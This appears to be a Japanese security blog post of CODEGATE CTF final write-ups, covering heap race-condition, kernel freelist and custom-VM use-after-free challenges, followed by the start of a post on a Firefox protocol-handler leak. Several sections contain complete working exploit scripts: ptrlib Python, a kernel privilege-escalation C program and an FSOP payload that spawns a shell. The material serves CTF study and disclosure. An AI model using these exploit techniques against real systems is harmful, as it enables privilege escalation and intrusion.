arg2: db "cat /flag", 0
from ptrlib import *

# 0x1a44ed: lea edx,  [0x00000000001A4900] ; add rdx, r8 ; jmp rdx ; (1 found)
if os.system("nasm pwn.S -fELF64") != 0: exit(1)
if os.system("ld pwn.o -o pwn -Ttext 0xae417000 -lc -dynamic-linker /usr/lib/x86_64-linux-gnu/libc.so.6") != 0: exit(1)

elf = open("pwn", "rb").read()

sock = Socket("localhost", 9000)

sock.sendlineafter("filesize > ", len(elf))
sock.sendafter("elf > ", elf)
sock.sendlineafter("elfname > ", "neko")

libc_base = int(sock.recvregex("([0-9a-f]+).+libc.so.6")[0], 16)
sock.sendlineafter("? ", hex(libc_base + 0x1a44ed))

sock.sh()

ほとんどのチームが解けた簡単な問題ですが、意外と時間をかけてしまいました。このような恣意的な設定の問題が苦手なところもあるので、もっと早く解けるように頭を柔らかくしていきたいです。

 

[pwn] Flight

問題概要

この問題ではx86-64でstripされたELFファイルが渡されます。IDAで解析すると、プログラムはC++製であり、主に9つの機能を持つプログラムであることがわかります。

プログラムが起動すると、データ構造を管理するサブスレッドとコマンドを受け付けるメインスレッドの2つに分岐します。いくつかのコマンドは共有メモリを介してサブスレッドにコマンドを実行させます。

解析

プログラムは入力された4バイトの数値をもとに、switch文で9つの機能に分岐するという構造でした。そこで、まずは各機能が何をするかを解析しました。この問題のようにすべてのシンボルが削除されており構造も複雑なプログラムでは、私は意味を無視して表層的に入出力だけを処理するコードから書き始めるようにしています。

いくつかのコマンドはreadで入力を受け付けていたため、その部分だけ送信するコードを書きました。

 

初めは何の機能が実装されているかまったくわからない

動的解析と組み合わせて読み進めると、辞書(map)と思われる構造を使ってデータを管理していることがわかりました。送信したデータのいくつかは検証されていたため、辞書構造の操作からそれらの値の意味を考えると、各機能の役割が少しずつ明らかになりました。

 

解析が少し進んだ後のwrapperコード

例えば、3つめの機能には以下のようなコードがあります。

 

メインスレッド側の3つめの機能のコードの一部

このコードは入力した値に応じて次の入力構造が変化するため、最初の入力は型情報であると推測できます。このような具合に変数の役割を次々に特定していきます。また、同時にプログラムの動作に関しても、共有メモリを経由してデータを送信・同期している、といった挙動も明らかになっていきました。

最終的に、以下のような9つの機能(と終了コマンド)が実装されていることがわかりました。

 

最終的なwrapperのコード

各機能を簡潔に説明すると、以下のようになります。

  • add: メインスレッドの辞書に空のValueを1つ登録する。
  • delete: メインスレッドの辞書から特定のキーのValueを削除する。
  • remote_add: メインスレッドの辞書に登録されているValueすべてに、型情報とデータ本体を与えながらサブスレッドに送信する。サブスレッド側では辞書に追加される。
  • showall: メインスレッドの辞書に登録されているValueをすべて表示する
  • remote_show: サブスレッドの辞書に登録されているValueを1つ表示する
  • nop: 何もしない。
  • remote_setmsg: サブスレッドの辞書に登録されている特定のValueにバイト列を紐付ける。

Valueは1つのデータ領域を持ち、共有メモリを使うかどうかを指定できます。 各機能はメインスレッド側からリクエストを発出できます。リクエストは最大10個までが入る配列に記録され、サブスレッド側で適宜処理されます。

 

サブスレッド側でのコマンド処理

脆弱性

アドレスリークは比較的簡単です。 remote_addなどでデータを設定する際、データ領域をmallocで確保しているにも関わらずread関数の戻り値が0以下であるかのみを確認しているため、未初期化の領域が残っている可能性があります。適当なチャンクをsmallbinにつなげて、そこからmallocすることでmain_arena中のアドレスを読むことができます。

では、メモリ破壊につながる脆弱性はあるでしょうか。 今回のプログラムはマルチスレッドであるという点と、共有メモリを使う特徴的な機能があるという点が怪しいので、そのあたりを重点的に読むことにしました。次のコードはremote_addで共有メモリを使うValueを送信する際のコードの一部です。

 

共有メモリを使う機能のコードの一部

ここで、共有バッファは参照カウンタを使って実装されています。(すべてのシンボルがstripされているので実際には各関数の処理も追う必要がありました。)しかし、この処理周辺には何のロック処理もありません。 処理リクエストを発出するのはメインスレッド単体のため、順番にリクエストが処理されればこれは何の問題もないように思えます。 しかし、サブスレッド側はリクエストの配列を順にチェックし続けるだけなので、メインスレッドが作ったリクエストは必ずしも順番どおりに処理されるとは限りません。

したがって、共有バッファを作ってから参照カウンタがインクリメントされるまでの間に削除要求を出すことで、共有バッファの構造体に対するUse-after-Freeが発生します。この構造体はデータ実体へのポインタを持っているため、任意アドレス書き込みが実現します。

例えば以下の図では5個の共有バッファの登録と、それらの削除のリクエストをほぼ同時に送信しています。

 

Race Conditionが発生する例

サブスレッドがリクエストを1回目に処理するタイミングでは3つしか登録されていませんが、2回目に処理するタイミングでは残りの2つとすべての削除要求が到達しています。これにより、参照カウンタが増加するよりも先に削除が発生するため、Use-after-Freeが起こります。

成功確率を上げるため、実際には同じIDに対する削除リクエストを10回ずつ送信しました。

from ptrlib import *
import time

def add():
    sock.send(p32(0))

def delete(index):
    sock.send(p32(1))
    sock.send(p64(index))

def remote_add(data):
    assert 0 <= len(data) <= 9
    sock.send(p32(2))
    sock.send(p32(len(data)))
    for element in data:
        sock.send(p64(element[0]) + p64(element[1])) # type, index
        if element[0] == 0:
            buf = element[2]
            size = element[3]
            sock.send(p32(size))
            sock.send(buf)

def showall():
    sock.send(p32(3))

def remote_showall():
    sock.send(p32(4)) # 0xD3260001

def show(index):
    sock.send(p32(5))
    sock.send(p64(index))

def remote_show(index):
    sock.send(p32(6)) # 0xD3260002
    sock.send(p64(index))

def nop():
    sock.send(p32(7))

def remote_setmsg(index, data, size):
    sock.send(p32(8)) # 0xD3260003
    sock.send(p64(index))
    sock.send(p32(size))
    sock.send(data)

def terminate():
    sock.send(p32(9))

libc = ELF("libc.so.6")
#sock = Process("./Challenge")
sock = Socket("localhost", 9000)
sock.recvline()

# Leak libc
for _ in range(10):
    add()

remote_add([(1, 0)])
sock.recvline()

remote_add([(0, 0, b"A"*0x428, 0x428)])
sock.recvline()

remote_add([(0, 0, b"B"*0x18, 0x18)])
sock.recvline()

remote_add([(0, 0, b"A"*8, 0x3f8)])
sock.recvline()

show(0)
libc.base = u64(sock.recvlineafter("AAAAAAAA")) - libc.main_arena() - 0x450

# Race condition
remote_add([
    (1, i) for i in range(1, 10)
])
for _ in range(10):
    for i in range(1, 10):
        delete(i)

for _ in range(9):
    sock.recvline()

remote_setmsg(0, b"Y"*8 + b"X"*8 + p64(libc.base), 0x20)
sock.recvline()

payload  = p32(0xfbad0101) + b";sh\0" # fp->_flags & _IO_UNBUFFERED == 0)
payload += b"\x00" * (0x18 - len(payload))
payload += p64(libc.symbol('_IO_2_1_stdout_'))
payload += b"\x00" * (0x58 - len(payload))
payload += p64(libc.symbol("system")) # vtable->iowalloc
payload += b"\x00" * (0x88 - len(payload))
payload += p64(libc.symbol("_IO_2_1_stdout_") - 0x10) # _wide_data (1)
payload += b"\x00" * (0xa0 - len(payload))
payload += p64(libc.symbol("_IO_2_1_stdout_") - 0x10) # _wide_data (1)
payload += b"\x00" * (0xc0 - len(payload))
payload += p32(0) # fp->_mode == 0
payload += b"\x00" * (0xd0 - len(payload))
payload += p64(libc.symbol("_IO_2_1_stdout_") - 0x10) # (1) _wide_data->vtable
payload += p64(libc.symbol("_IO_wfile_jumps") + 0x18 - 0x38) # _IO_wfile_jumps +
remote_setmsg(8, payload, 0xe0)
sock.recvline()

sock.sh()

この問題はpwnの中では最も解かれており、最終的には半数弱のチームが解いていたと思います。難しかったですが、多くのチームが解いている問題を落とさず解けて安心しました。

[pwn] tiny_msg

問題概要

この問題ではx86-64のカーネルイメージとファイルシステム、そしてqemuの起動コマンドが渡されます。 典型的なカーネルexploit問で、tiny_msg.koという名前のカーネルモジュールがロードされているので、このモジュールの脆弱性を悪用して権限昇格する必要があります。

解析

モジュールはいたって単純で、ioctl経由でcreate, read, write, deleteの4つの操作をユーザー空間から依頼できます。

  • create: サイズ0x200の領域をヒープから確保し、ユーザー空間からデータをコピーして双方向リストに繋げる
  • read: 指定したIDのデータをリストから探し、ユーザー空間にデータをコピーする
  • write: 指定したIDのデータをリストから探し、ユーザー空間からデータをコピーする
  • delete: 指定したIDのデータをリストから探し、解放してunlinkする

サイズ0x200の領域は次のような構造体として扱われます。

__attribute__((packed))
struct {
  note_t *next;
  note_t *prev;
  uint16_t id;
  uint8_t data[];
} tiny_msg_t;

dataには最大0x1e8バイトを読み書きすることができます。

今回の問題で特徴的なのは、kmallocではなくkmem_cache_allocを使って専用のkmem_cacheから確保しているという点です。 このキャッシュはカーネルモジュールがロードされたときにmsg_cacheという名前で作られます。さらに、他のキャッシュとマージされないようにslab_nomergeが起動オプションに付加されています。

脆弱性

モジュール自体がシンプルなので、この問題では脆弱性はすぐ見つかりました。以下はcreateでメッセージ構造体を登録する部分のデコンパイル結果になります。

 

メッセージを新規作成するioctlの処理

52行目はcopy_from_userでデータのコピーが失敗した際に通るパスですが、このパスを通るとkmem_cache_freeが呼ばれて終了します。しかし、双方向リストには繋がったままであるため、後にread, write, delete操作を使うことができそうです。 したがって、Use-after-Free脆弱性があります。

解法

この問題で難しいのは完全な専用キャッシュが使われており、他の構造体とoverlapすることがないという点です。カーネルexploitを普段やっている人であればまずcross-cache attackを思いつくかもしれませんが、今回のモジュールには実は次のチェックがあります。

 

メッセージの個数チェック

なんと0x200個以上のメッセージ構造体を作ることができません。 sysfsをマウントして確認したところ、今回のカーネルではmsg_cacheは1つのslabに16個入り、かつpartialの個数が52個になっていました。したがって、少なく見積もっても0x340個より多くの構造体が確保できない限りcross-cache attackは実現不能です。

そこで今回は、解放されたチャンクに記載されるfreeptrを破壊することにしました。といっても決勝の問題はそこまで甘くはなく、CONFIG_SLUB_FREELIST_HARDENEDが有効なのでポインタはキャッシュごとに設定された乱数鍵を使って暗号化されています。

これでは攻撃できないでしょうか?

あるチャンクpがfreeされたとき(正確にはfreeptrが記載されるアドレスを$p$とする)、リンク先のアドレス$p_{\mathrm{next}}$を使ってfreeptrは以下の式で暗号化されます。

$E(p_{\mathrm{next}}) = p_{\mathrm{next}} \oplus \mathrm{key} \oplus \mathrm{bswap}(p)$

ここでbswapはエンディアンを逆順にする関数で、一般に$p$と$p_{\mathrm{next}}$は近い値を取るためXORで打ち消されないようにbswap処理が使われています。

さて、今回は$p, p_{\mathrm{next}}, \mathrm{key}$のいずれもわかりませんが、その結果だけは読み書き可能な状態にあります。もし結果の下位1バイトに0x80をXORした値を書き込むとどうなるでしょうか。ポインタを復号する際、

$E^{-1}(p_{\mathrm{next}} \oplus \mathrm{key} \oplus \mathrm{bswap}(p) \oplus \mathrm{0x80}) = p_{\mathrm{next}} \oplus \mathrm{0x80}$

となり、freeptrをずらすことができます。 特に今回はチャンクサイズが0x200のため、$p_{\mathrm{next}}$の下位1バイトはかならず0x00です。したがって、暗号化されたポインタに0x80をXORすることで、必ず0x80バイト高いアドレスにfreeptrをずらすことができます。

この壊れたfreeptrが使われると、そのチャンクは隣接したチャンクに重なります。構造体の先頭にはnext, prevポインタがあるので、これを破壊することで任意アドレス読み書きが実現できそうです。

nextポインタを改ざんすると(IDに該当する箇所のデータが予測できる限り)任意のアドレスのデータを読めますが、リンクが壊れてしまいます。新しく作った構造体はリンクの先頭に追加されるため、このままでは任意アドレス読み書きを1度しか使えません。 そこで、今回はnextポインタ破壊用のデータもfailのパスに通してUAFさせることにより、何度でも任意アドレス読み書きを実現できるようにしました。

私のexploitの方針としては、IDTからカーネルのベースアドレスをリークし、自身のtask_structを見つけてcred構造体を書き換えています。

#define _GNU_SOURCE
#include <assert.h>
#include <fcntl.h>
#include <errno.h>
#include <inttypes.h>
#include <limits.h>
#include <pthread.h>
#include <signal.h>
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <poll.h>
#include <stdnoreturn.h>
#include <string.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/timerfd.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <sys/resource.h>
#include <sys/xattr.h>

#include "scripts/util.h"
#include "scripts/cred.h"
#include "scripts/io_uring.h"

#define MSG_CREATE 0x1310002
#define MSG_READ   0x1310003
#define MSG_WRITE  0x1310004
#define MSG_DELETE 0x1310005

typedef struct __attribute__((packed)) {
  unsigned long id;
  unsigned long size;
  unsigned char data[];
} req_t;

void set_cpu(int i)
{
  cpu_set_t mask;
  CPU_ZERO(&mask);
  CPU_SET(i, &mask);
  sched_setaffinity(0, sizeof(mask), &mask);
}

int create_msg(int fd, unsigned short id, unsigned char *data, size_t size) {
  int res;
  req_t *req = (req_t*)malloc(sizeof(req_t) + size);
  if (!req) fatal("create_msg: malloc");
  req->id = id;
  req->size = size;
  memcpy(req->data, data, size);
  res = ioctl(fd, MSG_CREATE, req);
  free(req);
  return res;
}

int create_msg_fail(int fd, unsigned short id,
                    unsigned char *data, size_t size) {
  void *mem = mmap((void*)0xdead000, 0x1000, PROT_READ|PROT_WRITE,
                   MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
  if (mem == MAP_FAILED) fatal("mmap");

  int res;
  req_t *req = mem + 0x1000 - sizeof(req_t) - size;
  req->id = id;
  req->size = 0x1E8;
  if (size)
    memcpy(req->data, data, size);
  res = ioctl(fd, MSG_CREATE, req);

  munmap(mem, 0x1000);
  return res;
}

int read_msg(int fd, unsigned short id, unsigned char *data, size_t size) {
  int res;
  req_t *req = (req_t*)malloc(sizeof(req_t) + size);
  if (!req) fatal("write_msg: malloc");
  req->id = id;
  req->size = size;
  res = ioctl(fd, MSG_READ, req);
  if (res == 0)
    memcpy(data, req->data, size);
  free(req);
  return res;
}

int write_msg(int fd, unsigned short id, unsigned char *data, size_t size) {
  int res;
  req_t *req = (req_t*)malloc(sizeof(req_t) + size);
  if (!req) fatal("write_msg: malloc");
  req->id = id;
  req->size = size;
  memcpy(req->data, data, size);
  res = ioctl(fd, MSG_WRITE, req);
  free(req);
  return res;
}

int delete_msg(int fd, unsigned short id) {
  req_t req = { .id = id, .size = 0 };
  return ioctl(fd, MSG_DELETE, &req);
}

#define SPRAY_BASE 0x10
#define SPRAY_N    0x10
#define EVIL_ID    0x100

int main(int argc, char **argv) {
  set_cpu(0);

  char base[0x200];
  char buf[0x200];
  memset(buf, 'A', 0x1E8);

  int fd = open("/dev/msgdev0", O_RDWR);
  if (fd == -1) fatal("/dev/msgdev0");

  /* Set all UAF */
  for (int i = SPRAY_BASE; i < SPRAY_BASE + SPRAY_N; i++) {
    assert (create_msg(fd, i, buf, 0x1e8) == 0);
  }
  for (int i = SPRAY_BASE; i < SPRAY_BASE + SPRAY_N; i++) {
    assert (delete_msg(fd, i) == 0);
    create_msg_fail(fd, i, NULL, 0); // UAF
  }

  size_t leaks[SPRAY_N];
  for (int i = SPRAY_BASE; i < SPRAY_BASE + SPRAY_N; i++) {
    assert (read_msg(fd, i, base, 0x1E8) == 0);
    leaks[i] = *(size_t*)(base + 6 + 0x100 - 0x18);
    printf("[+] leak = 0x%016lx\n", leaks[i]);
  }

  /* Corrupt link */
  *(size_t*)(base + 6 + 0x100 - 0x18) = leaks[SPRAY_BASE+SPRAY_N-1] ^ 0x180;
  assert (write_msg(fd, SPRAY_BASE+SPRAY_N-1, base, 0x1e8) == 0);

  // dummy chunk
  memset(buf, 'B', 0x1E8);
  assert (create_msg(fd, EVIL_ID-1, buf, 0x1E8) == 0);

  /* Leak kernel base */
  *(size_t*)(buf + 6 + 0x80 - 0x18) = 0xfffffe0000000008;
  *(size_t*)(buf + 6 + 0x80 - 0x10) = 0xfffffe0000000008;
  *(size_t*)(buf + 6 + 0x80 - 0x08) = 0xdead; // id
  create_msg_fail(fd, EVIL_ID, buf, 0x180);
  read_msg(fd, 0xffff, buf, 0x1E8);
  size_t kbase = *(size_t*)(buf + 6 + 4) - 0xc08e02;
  printf("[+] kbase = 0x%016lx\n", kbase);

  /* Leak task_struct */
  *(size_t*)(buf + 6 + 0x80 - 0x18) = kbase + 0x140add0;
  *(size_t*)(buf + 6 + 0x80 - 0x10) = kbase + 0x140add0;
  *(size_t*)(buf + 6 + 0x80 - 0x08) = 0xdead; // id
  create_msg_fail(fd, EVIL_ID, buf, 0x180);
  read_msg(fd, 0x0000, buf, 0x1E8);
  size_t task = *(size_t*)(buf + 6 + 0x10) - 0x470;
  printf("[+] task_struct = 0x%016lx\n", task);

  /* Leak cred */
  *(size_t*)(buf + 6 + 0x80 - 0x18) = task + 0x6f0;
  *(size_t*)(buf + 6 + 0x80 - 0x10) = task + 0x6f0;
  *(size_t*)(buf + 6 + 0x80 - 0x08) = 0xdead; // id
  create_msg_fail(fd, EVIL_ID, buf, 0x180);
  read_msg(fd, 0x0000, buf, 0x1E8);
  size_t cred = *(size_t*)(buf + 6 + 0x10);
  printf("[+] cred = 0x%016lx\n", cred);

  /* Overwrite cred */
  *(size_t*)(buf + 6 + 0x80 - 0x18) = cred - 0x20;
  *(size_t*)(buf + 6 + 0x80 - 0x10) = cred - 0x20;
  *(size_t*)(buf + 6 + 0x80 - 0x08) = 0xdead; // id
  create_msg_fail(fd, EVIL_ID, buf, 0x180);

  memset(buf, 0, 0x38);
  *(size_t*)buf = 0x3;
  write_msg(fd, 0x0000, buf, 0x38);

  puts("[+] Win!");
  system("cat /flag");

  return 0;
}

カーネルの暗号化freelistを悪用する攻撃はCTFで扱うのも初めてだったので勉強になりました。 ちなみに、この問題は社内勉強会でも題材として使わせていただきました。弊社では社内で有志の勉強会を開いているので、決勝で出るような難しい問題も勉強できる機会が提供されています 🤗

[pwn] Acquiesce

問題概要

この問題ではx86-64のプログラムが、またしてもstripされた状態で配布されました。こちらもFlightと同じくC++製で、定義されている関数はFlightよりも圧倒的に多いです。 プログラムは何かの入力を受け付けますが、適当に入力してもよくわからない出力が出てくるだけです。

 

謎の出力

解析

IDAで読んでみると、main関数は素直な実装でした。

 

main関数

少し解析したところ、独自のVMクラスがあり、バイトコードを入力してVMの初期化、実行、破棄を何度でも行えるインタプリタであることがわかりました。 しかし、VMの命令を実行する部分は次のように非常に複雑です。

 

とてもではないが読みたくない形をしているCFG

このような独自VMを解析する際、私は以下の3つを心がけています。

  • PC(プログラムカウンタ)を特定する
  • レジスタの構造を特定する
  • メモリの構造を特定する
  • 一般的な命令から順に特定する

PCの特定は比較的簡単です。多くのVMは命令コードを解釈するとswitch文で実装に分岐するため、switchで参照している変数から逆算するとPCが特定できます。今回のプログラムではsub_2C22が命令コードを返しているようです。命令内でも使われていることを考えると、現在PCが指しているバイトを取ってくる命令と推測できます。(ここではVM::FetchByteと名付けました。)

 

命令コードの比較箇所

この関数は以下のように定義されています。

 

VM::FetchByteの中身

this + 8の値をインクリメントしていることがわかります。したがって、ここがPCと考えて妥当でしょう。名前を付け直すと以下のようになります。

 

読みやすくなったVM::FetchByte

PC以外にも、レジスタやメモリがクラスメンバ中のどこにあるかを知ることでmovやstore系の命令を探しやすくなります。シンプルなインタプリタの場合はIDAのデコンパイル結果からすぐにレジスタやメモリの構造がわかるのですが、今回のプログラムは非常に複雑で、一見するとどこにレジスタやメモリが定義されているのかわかりませんでした。

そこでCTF中は、一般的に定義されている命令を探し、そこを起点に解析することにしました。例えば算術・論理演算は解析の起点として役に立ちます。これらの演算はデコンパイル結果にそのまま現れることが多いので、命令コードを特定しやすいです。 今回のVMでもこの特徴を利用できます。以下の図はそれぞれ命令コード0x14, 0x15, 0x16に出現するコードの一部です。

 


いくつかの命令コードで似たコードが見つかった

 

どれも構造が似通っていて、算出演算の部分のみが変わっていることがわかります。したがって、これらの命令はそれぞれADD, SUB, MULではないかと推測できます。

sub_5108はPCから4バイトの値を取ってくる関数のため、これがレジスタのインデクスあるいはメモリのオフセットのような値を持っていると考えられます。このように、わかりやすい命令を起点にVMの構造を解析していくこともできます。

解析を進めると、このVMにおける値はInteger, String, Functionのいずれかの型を持つことがわかりました。

 

新しく値を生成する命令

値は任意に指定できる4バイトのIDと紐付きます。つまり、このVMはメモリやレジスタは持たず、すべての変数をIDで管理しています。 さて、Function型の値の作成は以下のようになっています。関数は命令の位置と引数のリストで定義されます。

 

関数型変数の作成

 関数呼び出しは次のように定義されています。

 

call命令の実装

まず、変数のIDを受け取ってそれが関数型であることを検証しています。 次に、その関数の引数リストを走査し、このリストに記載されているIDの変数をコピーしています。 最後にPCをスタックにpushし、関数のアドレスにPCを変更します。

ここまでの解析で、このインタプリタに以下のような特徴があることがわかりました。

  • 関数型を定義できる
  • 関数は任意個数・任意型の引数を取る
  • 関数はスコープを持つ

脆弱性

callとretの実装を詳しく見ていきましょう。擬似的なコードを書くと次のようになります。

case VM_CALL:
    Value &func = vm->GetValueAt(vm->FetchDword());
    if (func.type() != TYPE_FUNCTION) Terminate();
    vm->args.emplace_back(func.getArgList());
    vm->values.push_back({});
    for (size_t i = 0; i < func.getArgSize(); i++) {
        uint32_t id = func.getArgList().at(i);
        Value &val = vm->GetValueAt(vm->FetchDword());
        vm->values.back().emplace_back(std::make_pair(id, val)); // [1]
    }
    vm->stack.push_back(vm->pc);
    vm->pc = func.getDestination();
    break;

case VM_RET:
    if (vm->stack.empty()) return 0;
    auto& cur = vm->values.back().begin();
    while (cur != vm->values.back().end()) {
        if (vm->args.back().find(*cur) == vm->args.back().end()) {
            Value &val = (*cur)->getValue();
            if (val) val->destroy();
            vm->values.back().erase(*cur);
        } else {
            cur = cur.next();
        }
    }
    vm->values.pop();
    vm->args.pop();
    vm->pc = *vm->stack.back();
    vm->stack.pop();
    break;

ここで、[1]で新しいスコープに引数の変数を作っています。このコードは単純に指定したIDに値を設定しているだけです。もし引数リストのうち複数に同じIDを指定すると、同じIDの変数が同じスコープに入ることになります。 一方で、新しく変数を作る箇所では以下のように、同じIDの変数があった場合には先に削除する処理が入っています。

 

すでに定義されているIDの変数を上書きするコード

したがって、関数呼び出しを使って同じスコープ内に複数の同一IDの変数を作ると、それを別の値で上書きした際に不整合が発生します。

 

スコープのバグ

これを使ってValue型のクラスのUse-after-Freeが引き起こせるため、vtableを破壊することで任意の関数ポインタが呼び出せます。

私のexploitでは単純なcall chainを使ってsystem("/bin/sh")を呼び出しました。

 

from ptrlib import *

labels = {}
funcs = {}
jmps = {}
code = b''

def new_int(index, value):
    return b'\x10' + p8(0xa0) + p32(index) + p32(value)
def new_str(index, data, size=None):
    if size is None:
        return b'\x10' + p8(0xa1) + p32(index) + p32(len(data)) + data
    else:
        return b'\x10' + p8(0xa1) + p32(index) + p32(size) + data
def new_func(index, name, data):
    if isinstance(name, int):
        addr = name
    else:
        addr = 0
        funcs[name] = len(code) + 6
    if len(data):
        return b'\x10' + p8(0xa2) + p32(index) + p32(addr) + p8(len(data)) \
            + flat(data, map=p32)
    else:
        return b'\x10' + p8(0xa2) + p32(index) + p32(addr) + p8(len(data))
def show(index):
    return b'\x11' + p32(index)
def call(index, args):
    if len(args):
        return b'\x12' + p32(index) + flat(args, p32)
    else:
        return b'\x12' + p32(index)
def ret():
    return b'\x13'
def add(i1, i2):
    return b'\x14' + p32(i1) + p32(i2)
def sub(i1, i2):
    return b'\x15' + p32(i1) + p32(i2)
def mul(i1, i2):
    return b'\x16' + p32(i1) + p32(i2)
def div(i1, i2):
    return b'\x17' + p32(i1) + p32(i2)
def mod(i1, i2):
    return b'\x18' + p32(i1) + p32(i2)
def jmp(name):
    jmps[name] = len(code) + 5
    return b'\x19' + p32(0)
def jnz(name):
    jmps[name] = len(code) + 5
    return b'\x1A' + p32(0)
def jz(name):
    jmps[name] = len(code) + 5
    return b'\x1B' + p32(0)
def is_equal(i1, i2):
    return b'\x1C' + p32(i1) + p32(i2)
def is_less(i1, i2):
    return b'\x1D' + p32(i1) + p32(i2)
def nop():
    return b'\x1E'
def hlt():
    return b'\x00'
def label(name):
    global labels
    labels[name] = len(code)
def resolve(code):
    for name in jmps:
        src = jmps[name]
        dst = labels[name]
        code = code[:src - 4] + p32(dst - src) + code[src:]
    for name in funcs:
        src = funcs[name]
        dst = labels[name]
        code = code[:src] + p32(dst) + code[src+4:]
    return code

libc = ELF("./libc.so.6")
sock = Socket("localhost", 3000)

sock.sendafter(">> ", ret())
leak = sock.recvonce(0x400)
libc.base = u64(leak[0x2d8:0x2e0]) - libc.symbol("sbrk") - 0xa4
canary = u64(leak[0x368:0x370])
stack = u64(leak[0x3d0:0x3d8]) - 0x150
logger.info("canary = " + hex(canary))
logger.info("stack = " + hex(stack))

""" Exploit """
code = b''
code += new_str(0, b"A"*0x10)
code += show(0)
code += new_func(1, "f", [0])
code += call(1, [0])
code += show(0)
code += ret()

label("f")
code += new_int(1, 0x1234)
code += new_func(2, "g", [0, 0])
code += call(2, [0, 1])
code += new_str(3, b"A"*0x10)
code += new_str(4, p64(stack) + p64(stack))
code += new_str(5, b"C"*0x10)
code += new_str(6, b"D"*0x10)
code += show(1)
code += ret()

label("g")
code += new_int(0, 0xcafe)
code += new_int(1, 0xdead)
code += ret()

code = resolve(code)
assert len(code) <= 0x400

# Prepare call chain (fake vtable)
# 0x0017b9b7: mov rax, [rdi+8]; call qword ptr [rax+0x48];
# 0x000a5678: mov rdi, [rax+8]; call qword ptr [rax];
code += b"X" * (0x3d0 - len(code) - 0x100 - 0x10)
code += p64(libc.symbol("system"))
code += p64(next(libc.find("/bin/sh")))
code += p64(libc.base + 0x0017b9b7) # 1
code += b"A" * 0x30
code += p64(libc.base + 0x000a5678)

sock.sendafter(">> ", code)
sock.recvonce(0x400)

sock.sh()

解説ではスコープのバグを簡潔に説明しましたが、実際には単純にIDをかぶせるだけではクラッシュしないため、バグに気づくのにとても時間がかかってしまいました。また、Flightも同じでしたが、複雑なプログラムでRaceやUAFを起こした後にRCEにつなげるのは結構骨の折れる作業なので、体力が削られました。 

スコアボードは現在見られませんが、FlightとAcquiesceは4,5 solvesだったと思います。この問題は睡眠不足で疲労していたこともあり一番時間を取られてしまいました。しかし、結果として解かないと上位には入れない程度のsolve数だったので、CODEGATEのレベルの高さを改めて実感しました。

おわりに

今回解説した問題以外にも暗号問の1つがpwnを交えたfault attackだったため手助けしていました。
CODEGATE CTFの決勝には2年前も参加しましたが、当時よりも1つ1つの問題が難しくなっていると感じました。CODEGATEのpwn問に関してはプログラムの規模が大きくなり、脆弱性を見つけるのがより難しくなっている印象です。 特に難しいCTFでは最先端の攻撃技術を問う問題が多く出題されるので、最新技術にキャッチアップする目的でも、今後もCTFに楽しく参加していければと思います。

CODEGATEで一緒に戦ってくれたチームの皆さん、ありがとうございました!

これからもリチェルカセキュリティでは、社員・アルバイトの方の自己研鑽のための諸経費を支援する予定です。新しい仲間も募集しているので、興味のある方はぜひお気軽にお問い合わせください。

Saturday, November 16, 2024

Mozilla Firefox 0-day: URLプロトコルハンドラの漏洩 [CVE-2024-9398, CVE-2024-5690]

 筆者:satoki

はじめに

はじめまして。リチェルカセキュリティのSatoki Tsujiです。業務ではWeb脆弱性診断やWebの新規攻撃手法の研究を行っています。

本記事では、AVTOKYO2024にて発表した「Mozilla FirefoxのInformation disclosureの0-day脆弱性(CVE-2024-9398, CVE-2024-5690)」について解説します。本記事で解説する脆弱性によって、本来ブラウザにより秘匿されるべきURLプロトコルハンドラの設定の有無がページ経由で漏洩します。結果として、攻撃者はターゲットユーザマシンにインストールされている様々なアプリケーションを特定できます。

Mozilla Firefox 0-day: Browser Side-Channel Attack to Leak Installed Applications

注意
本脆弱性の解説はMozillaより許可を得て公開しています。本記事は、セキュリティ研究と教育を目的としており、記事内の情報を不適切な形で利用した如何なる損害についても、責任を負いません。

 

URLプロトコルハンドラとは

URLプロトコルハンドラとは、ブラウザやOSが特定のプロトコルスキーム(例えば、http,ftp,mailto)に基づいて、URLをどのように処理するかを定義する仕組みです。URLにアクセスした際に、どのようなアプリケーションを起動するかを決定するために使用されます。具体例としては、mailto:satoki@example.comのようなリンクをクリックした際にデフォルトのメールクライアントが開くのは、URLプロトコルハンドラがmailtoスキームのURLを取り扱うように設定されているためです。

一般的なスキームはIANAに登録されており、その他にもアプリケーションが独自に設定したカスタムスキームも存在します。以下にスキームの例を示します。

スキーム 機能の概要
http WebページへのアクセスにHTTPプロトコルを使用する
javascript Webページ内でJavaScriptを実行する
file ファイルシステムにアクセスする
steam Steamプラットフォーム内で特定の機能を呼び出す
zoommtg Zoomで会議を開始または会議に参加する
example スキームの例示に用いる

スキームを用いたアプリケーションの起動時には、ユーザへ確認を促すダイアログが表示されます。以下にsteamスキームを開いた際の例を示します。

アプリケーションはURLプロトコルハンドラへ独自のカスタムスキームを設定できます。詳細は述べませんが、WindowsではレジストリにURL Protocolキーと実行ファイルのパスおよび実行パラメータを登録することで、カスタムスキームが利用可能となります。

 

URLプロトコルハンドラの漏洩リスク

URLプロトコルハンドラの設定の有無が攻撃者に漏洩した場合に、どのようなリスクがあるでしょうか。FortiGuard Labs Threat Research Reportでは、漏洩した場合の影響を以下のようにまとめています。

Identifying communication channels: By listing the handlers an attacker can get a hint to what platforms he may use for reaching the targeted user. For instance, detecting social applications such as Slack, Skype, WhatsApp or Telegram may be used for communicating with the target.

General reconnaissance: A wide range of applications nowadays uses custom URL handlers and can be detected using this vulnerability. Some examples: music players, IDE, office applications, crypto-mining, browsers, mail applications, antivirus, video conferencing, virtualizations, database clients, version control clients, chat clients, voice conference apps, shared storages

Pre-exploitation detection: Exploit kits may leverage this information in order to identify if a potentially vulnerable application is present without exposing the vulnerability itself.

Detecting Security solutions: Many security solutions such as AV products register protocol handlers whose presence can be exposed by leveraging the vulnerabilities because they have custom protocol handlers installed. Attackers may use this to further customize their attack to be able to circumvent any protection mechanism set by those security solutions.

User Fingerprinting: reading what protocol handlers exist on a system may also be used in order to improve browser/user fingerprinting algorithms.

URLプロトコルハンドラの設定の有無が漏洩した場合、攻撃者が存在するハンドラを列挙できます。結果として、ターゲットユーザのマシンにインストールされた様々なアプリケーションを確認することができます。具体的には、slackスキームが存在すればSlackがインストールされており、skypeスキームが存在すればSkypeがインストールされていると分かります。
